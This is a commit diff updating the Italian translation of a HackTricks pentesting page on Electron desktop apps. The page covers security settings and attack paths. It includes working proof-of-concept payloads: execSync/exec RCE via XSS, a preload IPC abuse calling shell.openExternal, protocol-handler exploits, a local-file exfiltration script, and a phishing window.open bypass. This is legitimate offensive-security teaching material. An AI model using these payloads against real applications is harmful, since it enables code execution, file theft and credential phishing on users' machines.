mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/electron
This commit is contained in:
parent
41c1ed25f9
commit
0d672949ef
@ -1,17 +1,17 @@
|
||||
# Electron Desktop Apps
|
||||
# Applicazioni Desktop Electron
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Introduzione
|
||||
|
||||
Electron combina un backend locale (con **NodeJS**) e un frontend (**Chromium**), anche se manca di alcuni meccanismi di sicurezza dei browser moderni.
|
||||
Electron combina un backend locale (con **NodeJS**) e un frontend (**Chromium**), anche se gli mancano alcuni meccanismi di sicurezza dei browser moderni.
|
||||
|
||||
Di solito puoi trovare il codice dell'app electron all'interno di un'applicazione `.asar`, per ottenere il codice è necessario estrarlo:
|
||||
Di solito il codice dell'app Electron si trova all'interno di un'applicazione `.asar`; per ottenere il codice è necessario estrarlo:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
Nel codice sorgente di un'app Electron, all'interno di `packet.json`, puoi trovare specificato il file `main.js` dove sono impostate le configurazioni di sicurezza.
|
||||
Nel codice sorgente di un'app Electron, all'interno di `packet.json`, è possibile trovare specificato il file `main.js` dove sono impostate le configurazioni di sicurezza.
|
||||
```json
|
||||
{
|
||||
"name": "standard-notes",
|
||||
@ -19,12 +19,12 @@ Nel codice sorgente di un'app Electron, all'interno di `packet.json`, puoi trova
|
||||
```
|
||||
Electron ha 2 tipi di processi:
|
||||
|
||||
- Processo Principale (ha accesso completo a NodeJS)
|
||||
- Processo Renderer (dovrebbe avere accesso a NodeJS limitato per motivi di sicurezza)
|
||||
- Main Process (ha accesso completo a NodeJS)
|
||||
- Renderer Process (dovrebbe avere accesso a NodeJS limitato per motivi di sicurezza)
|
||||
|
||||
.png>)
|
||||
|
||||
Un **processo renderer** sarà una finestra del browser che carica un file:
|
||||
Un **renderer process** sarà una finestra del browser che carica un file:
|
||||
```javascript
|
||||
const { BrowserWindow } = require("electron")
|
||||
let win = new BrowserWindow()
|
||||
@ -32,18 +32,18 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
Le impostazioni del **renderer process** possono essere **configurate** nel **main process** all'interno del file main.js. Alcune delle configurazioni **preveniranno all'applicazione Electron di ottenere RCE** o altre vulnerabilità se le **impostazioni sono configurate correttamente**.
|
||||
Le impostazioni del **renderer process** possono essere **configurate** nel **main process** all'interno del file main.js. Alcune configurazioni **impediranno all'applicazione Electron di subire RCE** o altre vulnerabilità se le **impostazioni sono correttamente configurate**.
|
||||
|
||||
L'applicazione Electron **può accedere al dispositivo** tramite le API di Node, anche se può essere configurata per prevenirlo:
|
||||
L'applicazione Electron **potrebbe accedere al dispositivo** tramite Node apis, anche se può essere configurata per impedirlo:
|
||||
|
||||
- **`nodeIntegration`** - è `disattivato` per impostazione predefinita. Se attivato, consente di accedere alle funzionalità di Node dal renderer process.
|
||||
- **`contextIsolation`** - è `attivato` per impostazione predefinita. Se disattivato, i processi principale e renderer non sono isolati.
|
||||
- **`preload`** - vuoto per impostazione predefinita.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - è disattivato per impostazione predefinita. Restringerà le azioni che NodeJS può eseguire.
|
||||
- Integrazione di Node nei Workers
|
||||
- **`nodeIntegrationInSubframes`** - è `disattivato` per impostazione predefinita.
|
||||
- Se **`nodeIntegration`** è **abilitato**, questo consentirebbe l'uso delle **API di Node.js** nelle pagine web che sono **caricate in iframe** all'interno di un'applicazione Electron.
|
||||
- Se **`nodeIntegration`** è **disabilitato**, allora i preload verranno caricati nell'iframe.
|
||||
- **`nodeIntegration`** - è `off` per default. Se attivo, permette di accedere alle funzionalità di node dal renderer process.
|
||||
- **`contextIsolation`** - è `on` per default. Se disattivato, i processi main e renderer non sono isolati.
|
||||
- **`preload`** - vuoto per default.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - è off per default. Restringerà le azioni che NodeJS può eseguire.
|
||||
- Node Integration in Workers
|
||||
- **`nodeIntegrationInSubframes`** - è `off` per default.
|
||||
- Se **`nodeIntegration`** è **abilitato**, questo permetterebbe l'uso delle **Node.js APIs** in pagine web che vengono **caricate in iframes** all'interno di un'applicazione Electron.
|
||||
- Se **`nodeIntegration`** è **disabilitato**, allora i preload verranno caricati nell'iframe
|
||||
|
||||
Esempio di configurazione:
|
||||
```javascript
|
||||
@ -71,7 +71,7 @@ spellcheck: true,
|
||||
},
|
||||
}
|
||||
```
|
||||
Alcuni **RCE payloads** da [qui](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
Alcuni **RCE payloads** da [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
```html
|
||||
Example Payloads (Windows):
|
||||
<img
|
||||
@ -95,15 +95,16 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
|
||||
src="x"
|
||||
onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
```
|
||||
### Cattura traffico
|
||||
### Cattura del traffico
|
||||
|
||||
Modifica la configurazione start-main e aggiungi l'uso di un proxy come:
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
## Esecuzione di Codice Locale in Electron
|
||||
## Electron Local Code Injection
|
||||
|
||||
Se puoi eseguire localmente un Electron App, è possibile farlo eseguire codice javascript arbitrario. Controlla come in:
|
||||
|
||||
Se puoi eseguire localmente un'app Electron, è possibile che tu possa farla eseguire codice javascript arbitrario. Controlla come in:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
||||
@ -111,7 +112,7 @@ Se puoi eseguire localmente un'app Electron, è possibile che tu possa farla ese
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
Se **nodeIntegration** è impostato su **on**, il JavaScript di una pagina web può utilizzare facilmente le funzionalità di Node.js semplicemente chiamando `require()`. Ad esempio, il modo per eseguire l'applicazione calcolatrice su Windows è:
|
||||
Se il **nodeIntegration** è impostato su **on**, il JavaScript di una pagina web può usare le funzionalità di Node.js semplicemente chiamando il `require()`. Ad esempio, il modo per eseguire l'app calc su Windows è:
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -123,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
Lo script indicato in questa impostazione è l**oaded before other scripts in the renderer**, quindi ha **unlimited access to Node APIs**:
|
||||
Lo script indicato in questa impostazione viene **caricato prima di altri script nel renderer**, quindi ha **accesso illimitato alle Node APIs**:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -132,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
||||
}
|
||||
});
|
||||
```
|
||||
Pertanto, lo script può esportare node-features su pagine:
|
||||
Pertanto, lo script può esportare node-features in pagine:
|
||||
```javascript:preload.js
|
||||
typeof require === "function"
|
||||
window.runCalc = function () {
|
||||
@ -148,20 +149,20 @@ runCalc()
|
||||
</script>
|
||||
</body>
|
||||
```
|
||||
> [!NOTE] > **Se `contextIsolation` è attivato, questo non funzionerà**
|
||||
> [!NOTE] > **Se `contextIsolation` è attivo, questo non funzionerà**
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
Il _**contextIsolation**_ introduce i **contesti separati tra gli script della pagina web e il codice interno JavaScript di Electron** in modo che l'esecuzione di ciascun codice non influisca sugli altri. Questa è una caratteristica necessaria per eliminare la possibilità di RCE.
|
||||
La _**contextIsolation**_ introduce i **contesti separati tra gli script della pagina web e il codice JavaScript interno di Electron** in modo che l'esecuzione JavaScript di ciascun codice non si influenzi a vicenda. Questa è una funzionalità necessaria per eliminare la possibilità di RCE.
|
||||
|
||||
Se i contesti non sono isolati, un attaccante può:
|
||||
Se i contesti non sono isolati, un attacker può:
|
||||
|
||||
1. Eseguire **JavaScript arbitrario nel renderer** (XSS o navigazione verso siti esterni)
|
||||
2. **Sovrascrivere il metodo incorporato** che viene utilizzato nel preload o nel codice interno di Electron con una propria funzione
|
||||
3. **Attivare** l'uso della **funzione sovrascritta**
|
||||
2. **Sovrascrivere il metodo built-in** usato in preload o nel codice interno di Electron per compromettere una funzione
|
||||
3. **Innescare** l'uso della **funzione sovrascritta**
|
||||
4. RCE?
|
||||
|
||||
Ci sono 2 luoghi in cui i metodi incorporati possono essere sovrascritti: nel codice di preload o nel codice interno di Electron:
|
||||
Ci sono 2 posti dove i metodi built-in possono essere sovrascritti: nel codice preload o nel codice interno di Electron:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -178,34 +179,34 @@ electron-contextisolation-rce-via-electron-internal-code.md
|
||||
electron-contextisolation-rce-via-ipc.md
|
||||
{{#endref}}
|
||||
|
||||
### Bypass dell'evento di clic
|
||||
### Bypass dell'evento click
|
||||
|
||||
Se ci sono restrizioni applicate quando clicchi su un link, potresti essere in grado di bypassarle **facendo un clic centrale** invece di un normale clic sinistro.
|
||||
Se sono applicate restrizioni quando clicchi un link, potresti riuscire a bypassarle **usando un clic centrale** invece di un normale clic sinistro
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
## RCE tramite shell.openExternal
|
||||
## RCE via shell.openExternal
|
||||
|
||||
Per ulteriori informazioni su questi esempi, controlla [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
Per maggiori informazioni su questi esempi consulta [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
Quando si distribuisce un'applicazione desktop Electron, è fondamentale garantire le impostazioni corrette per `nodeIntegration` e `contextIsolation`. È stato stabilito che **l'esecuzione remota di codice lato client (RCE)** mirata a script di preload o al codice nativo di Electron dal processo principale è efficacemente prevenuta con queste impostazioni in atto.
|
||||
Quando si distribuisce un'app desktop Electron, è fondamentale assicurarsi che `nodeIntegration` e `contextIsolation` siano configurati correttamente. È assodato che **client-side remote code execution (RCE)** mirata agli script di preload o al codice nativo di Electron dal processo principale sia efficacemente impedita con queste impostazioni.
|
||||
|
||||
Quando un utente interagisce con i link o apre nuove finestre, vengono attivati specifici listener di eventi, che sono cruciali per la sicurezza e la funzionalità dell'applicazione:
|
||||
Quando un utente interagisce con link o apre nuove finestre, si attivano specifici event listeners, cruciali per la sicurezza e la funzionalità dell'applicazione:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
Questi listener sono **sovrascritti dall'applicazione desktop** per implementare la propria **logica aziendale**. L'applicazione valuta se un link navigato debba essere aperto internamente o in un browser web esterno. Questa decisione viene solitamente presa tramite una funzione, `openInternally`. Se questa funzione restituisce `false`, indica che il link deve essere aperto esternamente, utilizzando la funzione `shell.openExternal`.
|
||||
Questi listener vengono **sovrascritti dall'applicazione desktop** per implementare la propria **logica applicativa**. L'applicazione valuta se un link navigato debba essere aperto internamente o in un browser web esterno. Questa decisione viene tipicamente presa da una funzione, `openInternally`. Se questa funzione restituisce `false`, indica che il link deve essere aperto esternamente, usando la funzione `shell.openExternal`.
|
||||
|
||||
**Ecco un pseudocodice semplificato:**
|
||||
**Here is a simplified pseudocode:**
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Le migliori pratiche di sicurezza di Electron JS sconsigliano di accettare contenuti non attendibili con la funzione `openExternal`, poiché potrebbe portare a RCE attraverso vari protocolli. I sistemi operativi supportano diversi protocolli che potrebbero attivare RCE. Per esempi dettagliati e ulteriori spiegazioni su questo argomento, si può fare riferimento a [questa risorsa](https://positive.security/blog/url-open-rce#windows-10-19042), che include esempi di protocolli Windows in grado di sfruttare questa vulnerabilità.
|
||||
Le best practice di sicurezza di Electron JS sconsigliano di accettare contenuti non attendibili con la funzione `openExternal`, poiché potrebbe portare a RCE tramite vari protocolli. I sistemi operativi supportano protocolli diversi che potrebbero innescare RCE. Per esempi dettagliati e ulteriori spiegazioni su questo argomento, si può fare riferimento a [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), che include esempi di protocolli Windows capaci di sfruttare questa vulnerabilità.
|
||||
|
||||
In macos, la funzione `openExternal` può essere sfruttata per eseguire comandi arbitrari come in `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
In macos, la funzione `openExternal` può essere sfruttata per eseguire comandi arbitrari, ad esempio `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
|
||||
**Esempi di exploit di protocolli Windows includono:**
|
||||
```html
|
||||
@ -229,15 +230,15 @@ window.open(
|
||||
```
|
||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||
|
||||
Questa vulnerabilità può essere trovata in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
Questa vuln può essere trovata in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
|
||||
Il **webviewTag** è una **funzionalità deprecata** che consente l'uso di **NodeJS** nel **processo di rendering**, che dovrebbe essere disabilitato in quanto consente di caricare uno script all'interno del contesto di preload come:
|
||||
La **webviewTag** è una funzionalità deprecata che permette l'uso di **NodeJS** nel **renderer process**, e dovrebbe essere disabilitata poiché consente di caricare uno script all'interno del preload context come:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
Pertanto, un attaccante che riesce a caricare una pagina arbitraria potrebbe utilizzare quel tag per **caricare un script di pre-caricamento arbitrario**.
|
||||
Pertanto, un attaccante che riesce a caricare una pagina arbitraria potrebbe usare quel tag per **caricare uno script di preload arbitrario**.
|
||||
|
||||
Questo script di pre-caricamento è stato abusato per chiamare un **servizio IPC vulnerabile (`skype-new-window`)** che stava chiamando **`shell.openExternal`** per ottenere RCE:
|
||||
Questo script di preload è stato poi abusato per invocare un **servizio IPC vulnerabile (`skype-new-window`)** che chiamava **`shell.openExternal`** per ottenere RCE:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
@ -248,13 +249,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
||||
}, 5000);
|
||||
})();
|
||||
```
|
||||
## Lettura di File Interni: XSS + contextIsolation
|
||||
## Lettura di file interni: XSS + contextIsolation
|
||||
|
||||
**Disabilitare `contextIsolation` consente l'uso di `<webview>` tags**, simile a `<iframe>`, per leggere ed esfiltrare file locali. Un esempio fornito dimostra come sfruttare questa vulnerabilità per leggere il contenuto di file interni:
|
||||
**Disabilitare `contextIsolation` permette l'uso dei tag `<webview>`**, simili a `<iframe>`, per leggere ed esfiltrare file locali. Un esempio mostra come sfruttare questa vulnerabilità per leggere il contenuto di file interni:
|
||||
|
||||
.png>)
|
||||
|
||||
Inoltre, viene condiviso un altro metodo per **leggere un file interno**, evidenziando una vulnerabilità critica di lettura di file locali in un'app desktop Electron. Questo comporta l'iniezione di uno script per sfruttare l'applicazione ed esfiltrare dati:
|
||||
Inoltre, viene condiviso un altro metodo per **leggere un file interno**, che mette in evidenza una critical local file read vulnerability in un'app desktop Electron. Questo comporta l'iniezione di uno script per sfruttare l'applicazione ed esfiltrare i dati:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -270,43 +271,43 @@ frames[0].document.body.innerText
|
||||
</script>
|
||||
</h1>
|
||||
```
|
||||
## **RCE: XSS + Old Chromium**
|
||||
## **RCE: XSS + chromium obsoleto**
|
||||
|
||||
Se il **chromium** utilizzato dall'applicazione è **vecchio** e ci sono **vulnerabilità** **note** su di esso, potrebbe essere possibile **sfruttarlo e ottenere RCE tramite un XSS**.\
|
||||
Se il **chromium** usato dall'applicazione è **obsoleto** e ci sono **note** **vulnerabilità** su di esso, potrebbe essere possibile **sfruttarlo e ottenere RCE tramite una XSS**.\
|
||||
Puoi vedere un esempio in questo **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing tramite bypass regex URL interni**
|
||||
## **XSS Phishing via bypass della regex degli URL interni**
|
||||
|
||||
Supponendo che tu abbia trovato un XSS ma **non puoi attivare RCE o rubare file interni**, potresti provare a usarlo per **rubare credenziali tramite phishing**.
|
||||
Supponendo che tu abbia trovato una XSS ma **non possa attivare RCE o rubare file interni** potresti provare a usarla per **rubare credenziali via phishing**.
|
||||
|
||||
Prima di tutto, devi sapere cosa succede quando provi ad aprire un nuovo URL, controllando il codice JS nel front-end:
|
||||
Per prima cosa devi sapere cosa succede quando provi ad aprire un nuovo URL, controllando il codice JS nel front-end:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
La chiamata a **`openInternally`** deciderà se il **link** sarà **aperto** nella **finestra desktop** poiché è un link appartenente alla piattaforma, **o** se sarà aperto nel **browser come risorsa di terze parti**.
|
||||
La chiamata a **`openInternally`** deciderà se il **link** verrà **aperto** nella **finestra desktop** poiché è un link appartenente alla piattaforma, **oppure** se verrà aperto nel **browser come risorsa di terze parti**.
|
||||
|
||||
Nel caso in cui il **regex** utilizzato dalla funzione sia **vulnerabile a bypass** (ad esempio, **non eseguendo l'escape dei punti dei sottodomini**), un attaccante potrebbe abusare dell'XSS per **aprire una nuova finestra che** sarà situata nell'infrastruttura dell'attaccante **richiedendo credenziali** all'utente:
|
||||
Nel caso la **regex** usata dalla funzione sia **vulnerabile a bypasses** (per esempio **non eseguendo l'escape dei punti dei sottodomini**) un attaccante potrebbe abusare della **XSS** per **aprire una nuova finestra che** sarà ubicata nell'infrastruttura dell'attaccante **richiedendo le credenziali** all'utente:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
</script>
|
||||
```
|
||||
## `file://` Protocol
|
||||
## `file://` Protocollo
|
||||
|
||||
Come menzionato nella [documentazione](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), le pagine che girano su **`file://`** hanno accesso unilaterale a ogni file sul tuo computer, il che significa che **i problemi di XSS possono essere utilizzati per caricare file arbitrari** dal computer dell'utente. Utilizzare un **protocollo personalizzato** previene problemi come questo, poiché puoi limitare il protocollo a servire solo un insieme specifico di file.
|
||||
Come menzionato in [la documentazione](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), le pagine eseguite su **`file://`** hanno accesso unilaterale a ogni file della tua macchina, il che significa che **problemi XSS possono essere usati per caricare file arbitrari** dalla macchina dell'utente. Usare un **protocollo personalizzato** previene problemi come questo, perché puoi limitare il protocollo a servire solo un insieme specifico di file.
|
||||
|
||||
## Modulo remoto
|
||||
## Modulo Remote
|
||||
|
||||
Il modulo Remote di Electron consente ai **processi di rendering di accedere alle API del processo principale**, facilitando la comunicazione all'interno di un'applicazione Electron. Tuttavia, abilitare questo modulo introduce rischi significativi per la sicurezza. Espande la superficie di attacco dell'applicazione, rendendola più suscettibile a vulnerabilità come gli attacchi di cross-site scripting (XSS).
|
||||
Il Modulo Remote di Electron permette ai **processi renderer di accedere alle API del processo principale**, facilitando la comunicazione all'interno di un'app Electron. Tuttavia, abilitare questo modulo introduce rischi significativi per la sicurezza. Aumenta la superficie di attacco dell'applicazione, rendendola più suscettibile a vulnerabilità come gli attacchi cross-site scripting (XSS).
|
||||
|
||||
> [!TIP]
|
||||
> Anche se il modulo **remote** espone alcune API dal principale ai processi di rendering, non è semplice ottenere RCE solo abusando dei componenti. Tuttavia, i componenti potrebbero esporre informazioni sensibili.
|
||||
> Anche se il modulo **remote** espone alcune API dal main ai renderer process, non è così semplice ottenere RCE solamente abusando dei componenti. Tuttavia, i componenti potrebbero esporre informazioni sensibili.
|
||||
|
||||
> [!WARNING]
|
||||
> Molte app che utilizzano ancora il modulo remoto lo fanno in un modo che **richiede l'abilitazione di NodeIntegration** nel processo di rendering, il che rappresenta un **enorme rischio per la sicurezza**.
|
||||
> Molte app che ancora usano il remote module lo fanno in un modo che **richiede che NodeIntegration sia abilitato** nel processo renderer, il che rappresenta un **enorme rischio per la sicurezza**.
|
||||
|
||||
Dalla versione 14 di Electron, il modulo `remote` di Electron potrebbe essere abilitato in diversi passaggi, poiché per motivi di sicurezza e prestazioni è **consigliato non usarlo**.
|
||||
A partire da Electron 14 il modulo `remote` di Electron potrebbe essere abilitato in diversi modi e, per motivi di sicurezza e prestazioni, è **consigliato non usarlo**.
|
||||
|
||||
Per abilitarlo, è prima necessario **abilitarlo nel processo principale**:
|
||||
```javascript
|
||||
@ -319,37 +320,39 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
Quindi, il processo di rendering può importare oggetti dal modulo come:
|
||||
Poi, il processo renderer può importare oggetti dal modulo come segue:
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
Il **[post del blog](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica alcune interessanti **funzioni** esposte dall'oggetto **`app`** del modulo remoto:
|
||||
Il **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica alcune **funzioni** interessanti esposte dall'oggetto **`app`** del modulo 'remote':
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **Riavvia** l'applicazione **uscendo** dall'istanza corrente e **lanciando** una nuova. Utile per **aggiornamenti dell'app** o significativi **cambiamenti di stato**.
|
||||
- **Riavvia** l'applicazione chiudendo l'istanza corrente e avviandone una nuova. Utile per **aggiornamenti dell'app** o cambiamenti significativi di **stato**.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **Definisce** o **crea** una directory per memorizzare i **log dell'app**. I log possono essere **recuperati** o **modificati** utilizzando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**.
|
||||
- **Definisce** o **crea** una directory per memorizzare i **log** dell'app. I log possono essere **recuperati** o **modificati** usando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- **Registra** l'eseguibile corrente come **gestore predefinito** per un **protocollo** specificato. Puoi fornire un **percorso personalizzato** e **argomenti** se necessario.
|
||||
- **Registra** l'eseguibile corrente come **handler predefinito** per un protocollo specificato. È possibile fornire un **percorso personalizzato** e **argomenti** se necessario.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Aggiunge** attività alla **categoria Attività** nella **Jump List** (su Windows). Ogni attività può controllare come l'app viene **lanciata** o quali **argomenti** vengono passati.
|
||||
- **Aggiunge** task alla **Tasks category** nella **Jump List** (su Windows). Ogni task può controllare come l'app viene **avviata** o quali **argomenti** vengono passati.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **Importa** un **certificato PKCS#12** nel **negozio di certificati** del sistema (solo Linux). Un **callback** può essere utilizzato per gestire il risultato.
|
||||
- **Importa** un certificato **PKCS#12** nello **store dei certificati** di sistema (solo Linux). Un **callback** può essere usato per gestire il risultato.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- **Sposta** l'applicazione nella **cartella Applicazioni** (su macOS). Aiuta a garantire un'**installazione standard** per gli utenti Mac.
|
||||
- **Sposta** l'applicazione nella **Applications folder** (su macOS). Aiuta a garantire una **installazione standard** per gli utenti Mac.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Imposta** o **rimuove** una **Jump List personalizzata** su **Windows**. Puoi specificare **categorie** per organizzare come le attività appaiono all'utente.
|
||||
- **Imposta** o **rimuove** una **Jump List** personalizzata su **Windows**. È possibile specificare **categorie** per organizzare come i task appaiono all'utente.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **Configura** quali **eseguibili** si avviano al **login** insieme alle loro **opzioni** (solo macOS e Windows).
|
||||
- **Configura** quali **eseguibili** vengono lanciati al **login** insieme alle loro **opzioni** (solo macOS e Windows).
|
||||
|
||||
Esempio:
|
||||
```javascript
|
||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||
Native.app.exit()
|
||||
```
|
||||
## systemPreferences module
|
||||
|
||||
L'**API principale** per accedere alle preferenze di sistema e **emettendo eventi di sistema** in Electron. Metodi come **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** e **setUserDefault** fanno tutti **parte di** questo modulo.
|
||||
La **API principale** per accedere alle preferenze di sistema e per **emettere eventi di sistema** in Electron. Metodi come **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, e **setUserDefault** sono tutti **parte di** questo modulo.
|
||||
|
||||
**Esempio di utilizzo:**
|
||||
**Esempio d'uso:**
|
||||
```javascript
|
||||
const { systemPreferences } = require('electron');
|
||||
|
||||
@ -364,50 +367,52 @@ console.log('Recent Places:', recentPlaces);
|
||||
```
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **Ascolta** le **notifiche native macOS** utilizzando NSDistributedNotificationCenter.
|
||||
* Prima di **macOS Catalina**, potevi sniffare **tutte** le notifiche distribuite passando **nil** a CFNotificationCenterAddObserver.
|
||||
* Dopo **Catalina / Big Sur**, le app sandboxed possono ancora **iscriversi** a **molti eventi** (ad esempio, **blocco/sblocco dello schermo**, **montaggi di volume**, **attività di rete**, ecc.) registrando le notifiche **per nome**.
|
||||
* **Ascolta** le **notifiche native macOS** usando NSDistributedNotificationCenter.
|
||||
* Prima di **macOS Catalina**, era possibile sniffare **tutte** le notifiche distribuite passando **nil** a CFNotificationCenterAddObserver.
|
||||
* Dopo **Catalina / Big Sur**, le app sandboxate possono ancora **iscriversi** a **molti eventi** (per esempio, **blocchi/sblocchi dello schermo**, **montaggi di volume**, **attività di rete**, ecc.) registrando notifiche **per nome**.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **Interfaccia** con **NSUserDefaults**, che memorizza le **preferenze** dell'**applicazione** o **globali** su macOS.
|
||||
* **Interagisce** con **NSUserDefaults**, che memorizza le preferenze **dell'applicazione** o **globali** su macOS.
|
||||
|
||||
* **getUserDefault** può **recuperare** informazioni sensibili, come **posizioni di file recenti** o **posizione geografica dell'utente**.
|
||||
|
||||
* **setUserDefault** può **modificare** queste preferenze, potenzialmente influenzando la **configurazione** di un'app.
|
||||
|
||||
* Nelle **versioni più vecchie di Electron** (prima della v8.3.0), solo la **suite standard** di NSUserDefaults era **accessibile**.
|
||||
* Nelle **versioni più vecchie di Electron** (prima di v8.3.0), solo la **suite standard** di NSUserDefaults era **accessibile**.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
Questa funzione mostra il file dato in un gestore di file, che **potrebbe eseguire automaticamente il file**.
|
||||
Questa funzione mostra il file indicato in un file manager, che **potrebbe eseguire automaticamente il file**.
|
||||
|
||||
Per ulteriori informazioni controlla [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
Per maggiori informazioni consulta [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Le app Electron dovrebbero avere una **Content Security Policy (CSP)** per **prevenire attacchi XSS**. La **CSP** è uno **standard di sicurezza** che aiuta a **prevenire** l'**esecuzione** di **codice non attendibile** nel browser.
|
||||
Le app Electron dovrebbero avere una **Content Security Policy (CSP)** per **prevenire attacchi XSS**. La **CSP** è uno **standard di sicurezza** che aiuta a **impedire** l'**esecuzione** di **codice non attendibile** nel browser.
|
||||
|
||||
Di solito è **configurata** nel file **`main.js`** o nel template **`index.html`** con la CSP all'interno di un **meta tag**.
|
||||
Solitamente viene **configurata** nel file **`main.js`** o nel template **`index.html`** con la CSP all'interno di un **meta tag**.
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
pentesting-web/content-security-policy-csp-bypass/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## **Tools**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) è uno strumento per identificare misconfigurazioni e anti-pattern di sicurezza nelle applicazioni basate su Electron.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) è un plugin open source per VS Code per applicazioni Electron che utilizza Electronegativity.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) per controllare librerie di terze parti vulnerabili
|
||||
- [**Electro.ng**](https://electro.ng/): Devi acquistarlo
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) per verificare la presenza di librerie di terze parti vulnerabili
|
||||
- [**Electro.ng**](https://electro.ng/): È a pagamento
|
||||
|
||||
## Labs
|
||||
|
||||
